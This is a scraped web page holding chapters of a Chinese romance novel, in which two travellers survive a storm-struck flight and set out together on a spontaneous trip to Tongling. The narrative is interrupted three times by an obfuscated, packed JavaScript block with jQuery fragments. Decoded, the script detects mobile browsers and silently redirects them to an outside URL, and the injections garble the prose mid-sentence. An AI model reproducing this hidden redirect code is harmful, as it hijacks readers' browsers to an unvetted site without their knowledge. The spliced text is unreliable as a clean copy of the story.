35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621091|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我操!机翼下面那个东西打火花了!见了鬼了!” 何筱舟眉心一跳,往窗外看了眼。 巨大且浓厚的云团,近在咫尺,乌压压的,几乎要压破薄薄的玻璃,挤进机舱。 只会出现在末日电影里的场景猝然发生在眼前,何筱舟下意识屏息,听到自己急剧的心跳声。 “你安全带系好了吗?” 李既白贴紧座椅,提醒何筱舟。 何筱舟点点头,强迫自己保持镇定,又检查一遍安全带的卡扣。 “啊!是闪电!乌云里有闪电!” 这声惊呼过后,机舱陷入一阵诡异的沉默,一时间只剩下广播中听起来毫无安抚作用的模式化话术。 “别搞啊,我看纪录片里,遇上这种云,很容易坠机的……” “你把嘴闭上吧!什么时候了还说这种话!” 角落里传出压抑的哭腔,哽着声音:“我们会死吗?” 话音刚落,机舱内的灯光接连闪了几下,又有几道闪电接连划过,雨滴,或者说是冰晶紧随其后,砸在机身上,鞭炮一样,发出密集的巨响。 墨云如山一般压将下来,在地面上可堪称为“庞然大物”的飞机忽然就变得渺小,不值一提。 乘客们无助地大声哭喊,或咒骂,或尖叫,但每个人,都只能被安全带紧紧固定在座位上,悬在高空,无计可施,绝望地等待宣判。 纷乱的吵闹声中,何筱舟沉默着,在其间显得格格不入。 李既白开口时才发现嗓子有些发紧,“是积雨云。” “这趟航班经过吴海海湾上空,加上最近入夏,可能偶发强对流天气,感觉到了吗?” 李既白看眼窗外,停顿了下。 “我们在绕来绕去,机组可能在尝试绕过云层,如果不能,大概率会备降申州。那里最近,而且这几天都是晴天,天气状况良好。” “我们应该不会有事,别害怕。” 何筱舟望向他,平静道:“我不是害怕。” 她不是第一次直面死亡,或者说,她不是第一次经历死别。 父亲是电工,因遭遇高压电事故丧生,原本宽阔伟岸的身躯僵直发黑。 林湛意外车祸身亡,好看的脸血肉模糊,再也辨认不出本来的样子。 眼泪和伤痛是当下直观的反应。 可痛苦被时间冲淡以后,她总是会一遍遍回忆意外发生之前。 哦,原来只是那样平常的一天。 和以往的每一天一样,早晨互相道别去做各自的事,谁也不会想到,会是最后一面,再也见不到了。 她时常想,如果分别前,能留下些什么就好了。 类似的念头在身体里扎根,在每一个忽然记起他们的时刻冒出枝杈,越长越多,变成参天大树。 何筱舟问李既白,声音低到像在自言自语:“如果我们会死,你现在最想做什么。” 李既白想起她候机时看的电影,“遗愿清单?” 任何人在这种情况下都会恐惧,他没想到她会这样问,很认真地想了想,笑说:“想试试榴莲,我没吃过,因为一直不喜欢那个味道。” 见她凝固的表情有所松动,他正色道:“老实说,我每天都给自己规定了必须要完成的事情,昨天的目标已经达成了,所以即使……我也不觉得有什么遗憾和来不及做的事。” “你呢?” 何筱舟摇摇头。 这其实是她一直想问父亲和林湛的。 但哪怕当时发生的时候有机会对话,想必也没有答案,因为正在经历类似事情的她,脑内的念头飘忽到什么也抓不住,近似于空无一物。 客舱里的哭喊声渐弱,巨大的恐慌过后,只剩下麻木。 那种浮在空中的不确定感,像悬在头顶上的利剑,折磨着每一个人。 ...... 不知过了多久,天色渐亮。 一段持续的抖动过后,云团以肉眼可见的速度变小、后退,周遭不再是遮天蔽日的昏暗,稀薄的天光复现,照亮一张张惊恐绝望的脸。 最后,飞机成功降落在申州机场。 有人抱头痛哭,有人拉着机长不停道谢,有人一下飞机就腿软地跪倒在地上。 劫后余生的庆幸和狂喜感染着每一个人,即使互相不认识,也拥抱在一起,又哭又笑地感叹,活着真好。 死亡是随机发生的。 何筱舟想到,她回到津海的那天,何丽萍赶来帮她打扫家里卫生,没聊两句,话题又拐到结婚生孩子,她当时烦得想立即从世界上消失。 而经历过这么一遭,她只会想,那天何丽萍离开的时候,她应该用力和她拥抱。 申州的上空呈现出一种极其洁净的湛蓝,跟李既白说的一样。 日光薄而暖,何筱舟闭上眼睛,冰凉的指尖被烘烤着,渐渐恢复了温度。因为过度紧张而皱缩痉挛的胃舒展开,竟觉得有些饿了。 等待航空公司做出后续安排的时间里,何筱舟调出手机地图,对李既白说:“现在,我倒是有件特别想做的事。” “什么?” “去桐陵,吃碗正宗的阳春面。” 李既白怔了怔,他好像总是很难跟上她的思维节奏,惊讶道:“不去南岸了?” “不去了。” 何筱舟望着他,淡然地发出邀请,“我还有十天假,之后想四处走走,如果你想继续毕业旅行的话,可以跟我一起。” 4. Day One 何筱舟没把握李既白会答应。 他们认识不过两天而已,除去尚不熟悉的阶段,大部分时间都不算愉快。 “可以吗?” 何筱舟正想着别的说辞,听到他这样问,颇意外地眨了眨眼。 他双眼亮晶晶的,一副对这个提议很感兴趣的样子。 何筱舟记起他做的图表,说:“不过我不太会做规划,这部分你来?” 他一口应下来:“没问题。” 办理完退票手续,李既白用地图APP搜目的地。 申州到桐陵两百多公里,坐高铁最快,也最方便。 李既白让何筱舟输身份证号买票,却被她回绝。 “你会开车吗?” “租车去?”他很快明白她的意思,“除了去桐陵,你还有别的想法?” “可能。” “会开,但是,”李既白指了指手机屏幕上的时间,“如果要开车去,得先休息一下,不然很危险。” 细节很快明确,先去申州市区找家酒店,休整好之后,租辆车,买些路上可能需要的必备物品再出发。 打车去酒店的路上,李既白拨了个电话,对面大概就是帮他管理民宿的朋友,听上去在商讨房间根据时节调整布置的可行性和后续的经营问题。 何筱舟无心听,但有点抑制不住好奇心。 湄湾岛的旅游业发展起来以后,房价增长的速度堪比雨后春笋,甚至一度高过南岸市区,租房开民宿明显不划算,他年纪轻轻,竟在知名的旅游胜地有一处能支持开民宿的房产。 而且,人在相隔两千公里的城市读大学的情况下,怎么确定实施环节的具体做法。 她百无聊赖地看着车窗外飞快后退的陌生城市风景,待李既白挂断电话后,平声问:“临时改行程,会不会耽误你其他事?” “不影响,”李既白朝她弯了弯唇,解释道,“民宿的琐事一直是我南岸的朋友帮忙打理的,我做线上的部分,社媒推广之类的。” 车子正好经过申州市地标性建筑,李既白点开相机,快速拍了张照。 很随意地一拍,拍完就收起了手机,转而问起何筱舟去桐陵之后的安排。 “我暂时还没别的打算。” 何筱舟好奇:“你有其他想法吗?” 李既白想了想,“没有。” “那先去桐陵再说吧。” 和林湛相比,在相处中,李既白显然是偏被动型的。 这不太妙。 她清楚自己性格里寡淡、无趣的成分居多,无论是朋友还是恋人,都需要对方比较主动才能建立一段长期亲密关系,否则她很难突破界限,先迈出第一步。 车子急停在红绿灯口,何筱舟一个激灵,在心里叫停这种下意识的对比。 她的目标应当明确——趁这难得的机遇,在休假期间,短暂填补空缺。 等到假期结束,生活回到正轨,他们不会再有交集,这不属于长期亲密关系的范畴。 * 突逢危机后的情绪落差和接连的奔波让何筱舟的疲惫直抵临界值,进房间沾床就睡,竟没再做什么乱七八糟的梦。 这一觉睡到下午两点,满打满算五个小时,醒来时感觉周身轻快,比窝在家里那两天断断续续睡上一整天的效果还要好。 通知栏里堆满各种工作群通知,除此之外,一刻钟前,李既白发来一条微信。 解锁时内容自动显示:醒了吗? 何筱舟丢开手机,裹进被子静躺了一会,蒙着头给李既白回消息。 “1” 他旋即发来张截图,是几家租车公司的价格和优劣势对比。 还附带结论:综合来看,选胡豆租车比较好,保险政策完善,费用也合适,而且在很多城市都有服务点,还车方便。 何筱舟深觉邀请他一起是个无比正确的决定。 作为执行层面的小组leader,更多时候,她在工作中担任着把控全局的角色。从项目立项、需求分析、确定开发周期,每个环节都要尽可能周全地考虑到所有细节。 诚然这项工作她已经得心应手,但是非上班期间,她对数据分析之类的东西过敏。 她想要随心所欲,不代表可以完全不考虑出行所需的硬性条件。 现在看来,李既白刚好补上了这个空挡。 即使最后没有达到目的,至少他会是一个不错的出游“搭子”。 洗漱完毕,何筱舟下楼,和李既白在酒店大堂会合,各自办完退房直奔租车公司。 情况跟李既白提前在网上了解的大差不差,最后由何筱舟拍板,选了辆城市越野,底盘比较高,能适应多种路况。 附近恰好有家大型商超,他们目标明确只逛食品区,十五分钟后,将购置来的面包、速食、矿泉水之类的塞进后座,正式出发桐陵。 两百四十公里左右的路程,预计三个多小时,两人商定中途换一次,李既白先开前半程。 上午去酒店入住前在便利店买了块三明治垫肚子,因此何筱舟不是很饿,坐在副驾驶鼓捣车上的蓝牙。 “你喜欢什么类型的歌,或者歌手。” “都可以。” 意料之中的答案,何筱舟连上后,直接在APP点了续播。 她听歌的偏好很杂,且没有单独分类,一股脑将听得顺耳的都塞进一个收藏夹,常用随机循环,所以时常出现前后两首歌风格迥异的情况。 李既白很快发现了这个特点。 刚播完一首躁动激昂的摇滚乐,短暂的空白和前奏后,孙燕姿的声音响起,车厢里好似一下子安静下来。 变道前看后视镜,他余光扫过去,瞟见何筱舟正斜倚在座椅里,阖着眼,但没有睡着,手指并拢屈起,有一下没一下地点在膝头。 看上去极沉静的样子,像月色下的一汪湖,却隐约可以窥见平和水面下暗藏的细微波澜。 是她给他的感觉,就和这套歌单一样,捉摸不定。 但仅是很短暂的一瞬转念,在他注意力重回前方路况后立刻消失。 * 申州去桐陵一路都是晴朗的天,路况良好,最后比预计时间还早到十多分钟。 驶出高速路段时,天色已经暗了下来。 李既白坐在副驾上调手机导航,引着车子开去老城区的全民健身广场。 按他说的,何筱舟将车刹停在临停区,看他揿下双闪按钮,下车径直走向广场前的空地,有几个大爷正站在那里甩着鞭子抽陀螺。 他很自然地和其中一位攀谈起来,对方笑眯眯地停下手上动作,指了个方向。 大爷推荐的面馆藏在广场附近的老街,车开不进去,只能停在一条街外的露天停车场,两人步行过去。 街道应该统一整修过,店面外的装潢和门牌基本雷同,李既白在前面引路,走了约五分钟停下来,拐进一间窄小的店里。 门头木制招牌上的名字很简单,就叫“一碗面”。 老板是位中年男人,瘦高,正站在案台前切葱。 选了进门一侧的高脚桌椅位置,能看到制作间里的煮面全过程。 李既白抽张纸巾,伸手将何筱舟那边的桌面仔细擦拭一遍,抬眼问她:“隔这么长时间才吃到,会不会有点延迟满足了?” 的确。 但何筱舟指了指制作间,说:“不过是值得的。” 老板正掀开锅盖下面条,一丛滚烫的水蒸气从锅里涌出,又四散开来,空气染上潮湿的面香。 之后是调配汤底,洒葱花,依次搁入调味品、猪油,再浇一勺高汤,面条便如细丝一般在碗里荡开,被泛油花的高汤浸透着,看着就极滑口。 仅是单纯旁观,空荡的胃好像就被那热气填满了,舟车劳顿的疲惫感尽消。 味道也和想象中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621092|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一样熨帖,两人各自沉默着吃完,惬意又餍足地在店里闲聊了会,沿原路返回停车场。 何筱舟扣好安全带,说:“租车的费用你付了,我转些钱给你吧,作为后续的开销。” 李既白思索两秒,指节在方向盘上敲了敲,“你忘了?你之前付了笔民宿的房费。” “不是退掉了吗?” 决定不去南岸之后,李既白就让何筱舟在APP上申请了退款。 “还是别了,我怕又看到一串零,要不我每天晚上算好具体的费用,把明细发你?” 何筱舟点点头。 提前订过酒店,就在附近,开过去大概十分钟。 仍是何筱舟的歌单,与来时不同,李既白明显更自如些,播到熟悉的曲目会跟着哼两句副歌。 等红灯的间隙,何筱舟问他:“只是没有目的随处走走,作为毕业旅行的话,是不是有点草率?” 路灯照进车窗,映着他本就乌亮的眼睛,“恰恰相反。” 他用游戏举例,“从创建角色开始,每个阶段都在走重复无聊的固定剧情,做升级任务,拣装备。” “毕业以后,好像没有明确的任务线了,现在就有点像卡段升不上去的时候,偶然误入第三空间,没有规定路线,每一步都可以即兴发挥。” “就算只是很短暂的一段经历,也会遇到出其不意的惊喜吧。”他这样说道。 何筱舟沉默下来,一直到办完入住,李既白在门口和她道别。 他的房间在她隔壁,门挨着。进去前,他朝她笑了笑,“好好休息,有事打电话。” 她看着他唇角的梨涡,低声回:“好。” 洗漱过后,何筱舟躺上床,脑内一直回荡着李既白的话。 毕业旅行,对她来说已经是很遥远的事。 她现阶段更能感同身受的,是他说的枯燥单调的升级任务。 等八月份过完生日,她就28岁了。 还很年轻,人生仍有无限可能的年纪,但只有她自己知道,她的内里正在慢慢枯槁。 工作之后,时间像被按了快进键。 何筱舟毕业进入津海市互联网龙头大厂,岗位是算法工程师。她当初心潮澎湃地定下目标,30岁至少做到二级部门AI事业部经理,保守冲一级部门研发部总监。 然而,公司庞大的组织架构里囊括了太多全面型人才,从基层开发升到小组leader,她用了将近四年时间,下次晋升,似乎还遥遥无期。 高度重复又机械化的工作极度消耗热情,何筱舟整个人都渐渐变得麻木、消极。偏偏因为一路走来的优秀履历,身边人,包括她本人,都对她抱有厚重的期待。 但越被期待,她越是惧怕失败,沉重的包袱将她牢牢困在舒适区里,不敢轻易跨出去。 逐渐的,生活里除了工作,只剩下独处时毫无意义的碎片化娱乐活动,没有社交,没有任何积极向上的内容。 她愈发束手束脚,做任何事之前都惯性先考虑投入产出比,始终绕不开她的安全区域。 畏怯进入或主动开始一段新的,稳定的亲密关系。 不再认可持之以恒努力即能成功的热血番。 也不再相信虚无缥缈的宿命论。 可当下发生的事似乎正在与过去交叠、重合。 李既白朝气满满的笑意犹在眼前,何筱舟忽然记起曾和林湛计划过的最后没能成行的毕业旅行。 她闭上眼,隐隐感觉到久违的活力在体内涌动,似有春苗在悄悄扎根。 不知过了多久,何筱舟侧过身,拿起床头柜上的手机。 李既白很快接通,听筒里隐约传来风声,“嗨,怎么了?” 何筱舟冷静了些。只是潜意识驱使她做出的举动,她还没想好打过去要说什么。 漫长的静默后,她总算开口。 却是问了句废话:“你睡了吗?” 5. Day two 李既白没睡。 刚才边洗漱边听了篇德语短文,这会正准备出门。 他原计划跟团游结束就回南岸,又提前了解过度假村的生活用品设施,便轻装出行,只带了两套衣服,准备洗澡前才想到这个问题。 虽然酒店也配备洗衣机,但难免后面的行程有什么变化,他就想着趁附近商场闭店前速战速决买几套换洗衣物。 路程很近,开车反而不方便。 何筱舟打来电话的时候,他刚把一辆共享单车解锁,推下路牙。 接通后,那头停顿的时间久到他以为她拨错了。 刚要挂断重拨,她忽然出声,嗓音透着股平静的凉感。 他回,“还没,有什么事吗?” 何筱舟沉吟了下,似在判断,“你在外面?” 他简单解释了下。 “等我五分钟,跟你一起去,”响起细碎的织物摩擦音,她说,“我带的也不太够。” 李既白低低应一句,切断电话。 到商场两人分头行动,约二十分钟后,李既白提着几只购物袋去二楼女装店同何筱舟会合。 她正在试穿一件吊带裙。 店里没有其他顾客,导购站在全身镜旁,变着法地夸她身材好,笑容满面的。 见他进店,何筱舟也没回头,直直和镜中的李既白对上目光,随意一问:“怎么样?” 其实李既白看不出什么区别,她白天似乎穿了件差不多的,不过那时套了针织衫。可能材质不一样? 这件有轻微的光泽感,动起来时像晴朗天气下湖面泛起的盈盈皱褶。 她大概偏好类似款式的衣服。 李既白认真思考片刻,回答:“和你很衬,头发挽上去可能会更好看。” “这样吗?” 何筱舟抬手笼住微湿的发尾,利落地在发顶挽成髻,露出细白的肩颈。动作间,有清新的山茶香混入空气,是酒店统一提供的洗浴用品味道。 “嗯。”李既白掠去一眼,很快移开目光。 导购在一旁连连附和:“美女,你气质真好,这裙子很挑人的,你没化妆都穿得这么好看。” 何筱舟朝导购笑了笑,进试衣间换回原本的t恤和中裤,抱着选定的走去柜台。 李既白抬起来付账的手被她按下。 “我来就行。” 临下班卖出好几件衣服,导购乐得合不拢嘴,连带一旁的李既白也沾了光。 “美女,这你弟吧?真帅啊,你们家基因真好。” 何筱舟笑容淡淡的,手指在桌面上轻敲,没应承,也没否认。 李既白目光在她身上停留了一瞬,接过包装袋时,对导购说了句:“我们不是姐弟。” 乘电梯下到一楼,经过一家装修搞怪别致的男装店,何筱舟忽然停下脚步,望向装饰成落日海滩场景的橱窗。 “试试吗?挺适合你。” 李既白平时常穿极简的黑白灰,至多胸前印一个品牌logo. 这家店的风格对他来说有点花里胡哨了,各种繁复的印花图案,怪诞的艺术风格涂鸦,他有点犹豫,但还是指了指模特,“这套?” 她点点头。 上衣是很亮眼的橙色,图案是大片渐变云层,好在裤子相对基础,米白色宽松中裤,很夏日的一套。 李既白忽然庆幸自己皮肤比较白,不至于太过灾难。 却仍有点不自在,手脚都变得僵硬,尤其在撞上何筱舟略微怔忪的眼神时。 他低声问:“很奇怪吗?” 而她目光虚焦,只是浮在他身上,可能在发呆或者想别的事,他迟疑着抬手在她眼前晃了晃,又问了一遍。 “不奇怪。” 话这么说,但她唇角勾起的弧度有些勉强。 李既白最后还是半信半疑地结了账。他在穿着上比较随意,舒适为主,这衣服的面料还不错。 回到酒店,李既白将右手单独提着的购物袋递给何筱舟,里面搁着两条新毛巾,还有一些洗漱用具。 他没开灯,直接把其他的袋子放进玄关旁的置物柜里,捏着房卡塞回裤袋,带上门。 何筱舟注意到了,便问:“不休息吗?” 他解释说今天的运动时长和照片数量还没达标,桐陵的青波湖很适合骑行。 她也推开门放好东西,问:“我能一起吗?” “你不是洗过澡了?” “我最近失眠,累了可能睡得比较好?我想试试。” 李既白忽而想起在古镇酒吧那晚她泫然欲泣的眼睛,“走吧。” 老城区街道狭窄拥挤,路旁大多停了车,但胜在安静,多数店面已经歇业,行人也少了很多。 两人各自扫了辆共享单车,沿街边慢骑,偶尔交流几句关于桐陵的饮食或其他地方特色。 何筱舟面色平静,声音也如常,但因着那句失眠,李既白总觉得她眼里似有化不开的愁绪。 到青波湖是半小时后了。 沿湖设有专门的骑行绿道,路旁整齐地栽种着垂柳,柳枝触水,树影浓厚,路灯透过枝条缝隙在地面投下影影绰绰的光。 正入夏,温度还未完全升高,树影在夜色里轻摇,风挟着湖面上的凉气吹来,有清透的沁凉之意。 绕湖骑了一圈,他们停下来,扶着车慢走。 何筱舟抬起手背贴了贴额前的薄汗,放松地喟叹,“今天应该能睡个好觉了。” 李既白神色复杂地看她一眼,张了张唇,想说些宽慰的话,到嘴边又生生咽回去。 何筱舟没注意。 她将碎发拨到耳后,同他闲聊:“我刚想起来,你在飞机上说,你每天都有必须要做的事?包括骑车吗?” “有时候是跑步,也会打球,游泳之类的。” 其实不是特别具体。运动一到两小时,复习英语,学德语,看电影或者读书,拍二十张日常风景。 “德语?准备留学吗?” “可能会去,我现在还不知道。” 何筱舟看过来,“可你像是目标明确的人。” 不止一个人这样说过,但…… 李既白笑了笑,不置可否,“以前不是这样的。” 他盯住她的侧脸:“是学你的经验。” 何筱舟顿住脚步,惊讶道:“什么?” “我很早就知道你。” “在你们学校官网的招生宣传视频里。” 何筱舟有印象,她作为优秀毕业生出镜过招生宣传片,好像还配合新闻系做了个采访,被登发在校公众号里。 “是吗?”她完全不记得说过什么了。 宣传片里当然不只何筱舟一个人,她受访的部分在公众号文章里也只占据很小的篇幅,甚至那些内容在他升学时已经是前两年的招生宣传,被折叠到了“更多”里面。 偏偏李既白记得最深刻。 片段是类似使命交接的小故事。 两位在业内小有成就的创始人讨论当下人工智能的技术难点、和国外的差距以及未来的发展方向,讲完,镜头推到她,她说,“我来试试”。 很简单的一句话,但她眼里的沉肃和坚决不容忽视,极具感染力。 至于采访,好像是让她给新生提点建议。 她用自己修双学位的经历举例,坦言自己最开始并没有想好要不要辅修人工智能,因为她主修的就是那些年最热门的计算机专业,本就前景广阔。 她是在逐步了解、学习的过程中下定决心的,而那时她积累了一定的知识储备,再开始就事半功倍。 最后她总结陈词—— 如果有认准的终点,出发就好了。 如果尚且迷茫,问问自己当下最想做什么。 如果处在岔路不确定选哪个方向,不妨做多面准备,等决定了,就会发现最艰难的那段开始的路,已经走完了。 何筱舟惊诧于人与人之间奇妙的引力。 像有副无形的磁铁,在他们产生微小交集的瞬间,仿佛就注定了现在的异极相吸。 震惊之余,还是不太明白他怎么会突然提起这些,以她如今的视角来看,当年说的话过于中二了。 “我现在没想好要不要去留学,学德语是和你当时一样,先做准备。” “好吧……”李既白倾身,稍稍凑近她,认真道,“其实,我只是想说,你很优秀。工作忙只能证明你很优秀,不应该是被分手的原因。” 何筱舟这才明白过来。 当下有点想笑,兜这么大圈子原来是为了安慰她吗?因为她刚说了最近失眠?可被分手只不过是她乱扯的借口。 但是,但是…… 何筱舟不知道该怎么形容他的目光。 人们惯常用“小鹿眼”来代表清澈,而仅仅这样来描述他此时的眼神好像有点单薄了,清澈之外,还有十足十的真诚。 眼睛被眉骨投下的阴影笼罩着,再加上漂亮眼型的buff加持,显得格外深邃,又充满真挚。 风好似被湖水沁软,凉而柔地润进胸腔。 当晚,何筱舟休假以来第一次在正常时间段里进入深度睡眠。 梦里没有浓雾,也没有路牌,只有她去学校报到当天走遍校园的每一个角落。 那时她在想什么? 哦,她在试着用脚步丈量未来的尺度。 * 翌日吃过午饭,两人开车前往郊外的卡丁车俱乐部。 为了践行李既白说的即兴,这项活动是抓阄决出来的。各自出一个选项,何筱舟写的是攀岩。 一切都在“一碗面”里进行,抓阄用的是桌上的餐巾纸,场地是李既白趁吃饭时间选的。 老板送餐的时候认出他们,还赠送了一叠酱菜。 桐陵特有的腌笋丝,脆和酸爽兼有,放泡椒,看不出一点辣意,吃到最后却鼻尖冒汗。 路上播Beyond的歌单,导航推荐走快速路,非高峰期畅行的双向八车道,简直是最理想的驾驶条件。 而何筱舟一路压着限速,始终行驶在最慢的车道,连续被超车。 李既白看着导航上逐渐延长的预计抵达时间,想着今天的晚饭或许可以换换口味了。 从昨晚抵达桐陵,到今天中午,三餐饭都是在一碗面解决的,他建议试试别的特色菜,但何筱舟有点担心会踩坑。 于是交给玄学。 他们商定比一场,如果李既白赢了就去吃他推荐的那家餐馆。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621093|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>场地是户外的,比一般的都大些。正是工作日,刚过饭点,车场里人不多。 倒是跑道口围着一群人,乌泱泱的,举手机冲着正中间的女孩拍照,花里胡哨地找角度运镜,大概在直播或者拍vlog素材。 穿好装备,何筱舟坐进车里,李既白站在一旁和她说完操控要领,抱着头盔弯下腰,笑问:“要不先跑两圈试试,不算输赢。” 她很淡地回以一笑,“直接来吧。” 跟正规沾不上边的娱乐赛,连计时都没有,以李既白倒数为信号,数完一,两辆车飞快窜入跑道。 直线的路段跑完,很快进入第一个大弯。 有另外一辆车恰好也开到这里,李既白便稍稍踩了下刹车,却见何筱舟一个漂移从他旁边超过去,干净利落地过弯,又猛地加速。 一共八圈,那之后的全程,李既白都只能看到她衣服后面的俱乐部logo,始终落后她一个车位的距离,怎么也追不上去。 结束后,两人并肩往休息区走,李既白拨了拨被压乱的头发,低声说:“我记得来之前,你好像说的是没开过。” 的确没开过卡丁车,林湛带她体验过赛车。 她笑了笑,“坐进去感觉跟开车差不多。” “要不再试试那个?” 俱乐部整二层都是休息区,有赛车游戏设备,何筱舟指着其中空置的两台,饶有兴致地问李既白。 “可以啊。” 李既白选了山地背景的地图,路窄,险而陡峭,但很有挑战性。 何筱舟犹疑地跨进座舱,看着地图上盘旋的山道,手握上方向盘时有些微颤。 相比于真车,游戏内的驾驶体验轻飘飘的,即使设备给予了良好的刹车回馈,但画面里的车子好像总是不太抓地,有种下一秒就会脱离掌控冲下山崖的紧迫感。 尽管顺利跑完全程,虚拟车子稳稳停在终点线,她背后还是沁出点冷汗。 很快缓过来,何筱舟走到观景窗前的高脚桌椅旁坐下,李既白则去买饮料。 她远远望着男生穿蓝白相间赛车服的背影,想到他刚刚率先冲过终点时生动肆意的笑。 那笑容太过熟悉,与过去的林湛一般无二。 她竟很荒谬地涌出些失而复得的庆幸,思绪也随之飘到九霄云外。 连一旁有人喊她也没听到。 感到肩头被人拍了拍,何筱舟才回神,认出那人是之前在跑道外围着女孩拍照的其中之一。 她礼貌地简要阐明身份,说自己是某视频平台的街拍博主。 又给何筱舟展示其个人首页的作品,指了指饮品店门口的李既白,“刚才在车场就注意到你们了,冒昧问一下,你们是情侣吗?” 何筱舟看了眼提着饮料往这边走的李既白,“不是。” “那是,姐弟?” 她可能自觉冒犯,赶忙解释道:“是这样的,我想请你们拍一期视频,会设置主题和简单的剧情,符合现实身份当然是最好的,比较自然。” 何筱舟婉言回绝:“抱歉,我不太喜欢出镜。” 女孩似乎被拒绝习惯了,笑说:“没事,等你同伴回来我再问问他,我也拍单人的。” “我也是,不好意思。” 李既白将其中一杯柠檬水递给何筱舟,长腿一抻,利落地坐上她旁边的高脚椅。 女孩摊摊手,一副很可惜的样子,“那好吧,打扰你们啦!” 何筱舟忽而想到什么,稍稍侧身问李既白:“你介意拍张合照吗?” 他拆吸管的动作一顿,“不介意。” 她又看向女孩:“可以请你帮忙拍一张吗?” 女孩点点头,欣然答应。 何筱舟包里常放着台一次性胶片机,她不经常拍,27张胶卷还剩下一半多。 没特意找背景,他们各自本来就已经很上镜了,合影更毋庸置疑。 最后就在储物柜旁边拍了张,墙上还贴着俱乐部的海报。 当下看不到成像效果,只有设备上方的数字往下走了一格。 女孩离开后,两人也准备打道回府。 男女换衣间是对门,中间有一面落地镜。何筱舟换完衣服,对着镜子整理半身裙边堆叠起的衬衫褶皱。 李既白也很快出来,见她在那边,抱臂斜倚在门口,很认真地望着镜中的她。 她自然察觉到,睇过去一个疑问的眼神。 “你觉得,我们长得像吗?” “什么?” 李既白走过去,在她身侧站定,“不然为什么总被认为是姐弟?” “你有姐姐吗?” 他神色一滞,“没有。” “低一点。” 李既白顺从地倾身,和她一样,凑近镜面。 谁料,她忽地往左迈了一小步,肩头和他的轻撞了下,脸贴近。 片刻后,她得出结论,“不像。” “但我猜,可能是因为你看起来太听话了,就像现在这样。” 李既白是在看到她唇角溢出狡黠笑意时才意识到被耍了。 而她轻快地后退几步,又朝镜中的他招招手。 他反应过来,低头笑了下。 又快步跟上去。 6. Day Three 何筱舟最后还是决定去李既白选的那家餐厅。 人们好像总会给开始和结束赋予特殊意义,通常以稍显郑重的形式相佐。桐陵之行短暂而匆忙,即将收尾,她想更多地留下对这座城市的感知和体验。 因着落地镜前那个一点也不恶作剧的何筱舟式玩笑,李既白看上去比先前放松了些。 他单手掌着方向盘,兀自摆弄车上的导航,也没看她,悠悠地问:“确定要去?明明是你赢了。” 她调低座椅,放松地仰靠着,“我确定我想吃桂花年糕。” 同样开在老城区的店,门头挂两盏灯笼,木质招牌低调地立在门边,比起饭馆,更像是老式宅院。 用餐是预约制,被服务员顺利带入预留的座位时,何筱舟的疑惑攀至顶峰。 “什么时候订的?” “昨天。在广场问路的时候,大爷也推荐了这家店。” 店内装修相当考究,能看出来花了挺多心思的。 静物间强调色彩的冲突和搭配,又能与整体风格配合,不割裂,反而有种在边缘试探的跳脱感。 桌上备着花茶,落座后,李既白给她倒了一杯。 很淡的茉莉花香在口中散开,何筱舟放下杯子,一时感慨:“很奇怪,也不赶时间,但就是感觉到了离开这里的时候了。” “可能是因为,我们当时来这里只是为了阳春面。” “而且,酒店只预订了两个晚上。” 上菜很快,李既白将桂花年糕换到她面前。 桐陵的饮食偏清淡,午饭时面馆老板赠送酱菜里的泡椒好像就是极致了。 没有过度加工和过多的调味品,仍保有食物本身的味道,口感很清爽。 吃完,李既白去结账。 回来后问她:“时间还早,要不要试试这趟车?” 桐陵的757路公交,又有旅游观光车的别称。唯一一条有双层巴士的线路,不过比较少,多是普通车。 但很幸运,他们很快等到一辆并且在露天的上层找到两个座位。 文旅专线,经过景点会有对应的介绍播报,还有网上比较火的游记精选。 一路走马观花地看过祁佑寺、青波湖、临水阁,将要到达梧桐街时,车上提前播放预告。 是这样说的,“春雨洒青,绿夏浓荫,叶落秋红,冬雪覆冠,梧桐有千百种姿态,这里一年四季都浪漫。” 两人几乎同时看向对方,随即不由自主展露的笑意里写着同样的内容—— 就在这站下车。 从公交站台右拐过去,就是独属于梧桐的街道。 路两侧的梧桐树整齐排列,枝桠在顶端交错、重叠,这时节,正处于“绿夏浓荫”的阶段,即便是晚上,也有很强烈的遮蔽感。 行人三三两两走在单独辟开的绿道上,或有朋友调笑,或有爱侣低语,何筱舟则张开手,惬意地闭了闭眼。 李既白跟在她旁边,偶尔拍张沿途的风景。 时间好像变慢,气氛静谧而悠远。 很难分心去想其他的事,只沉默地踩着绿道上的梧桐图案前行,好似没有尽头。 走出一段距离,何筱舟从包里取出蓝牙耳机,把左耳那只分给李既白,“介意单曲循环吗?” 他摇头。 播《HeadInTheClouds》。 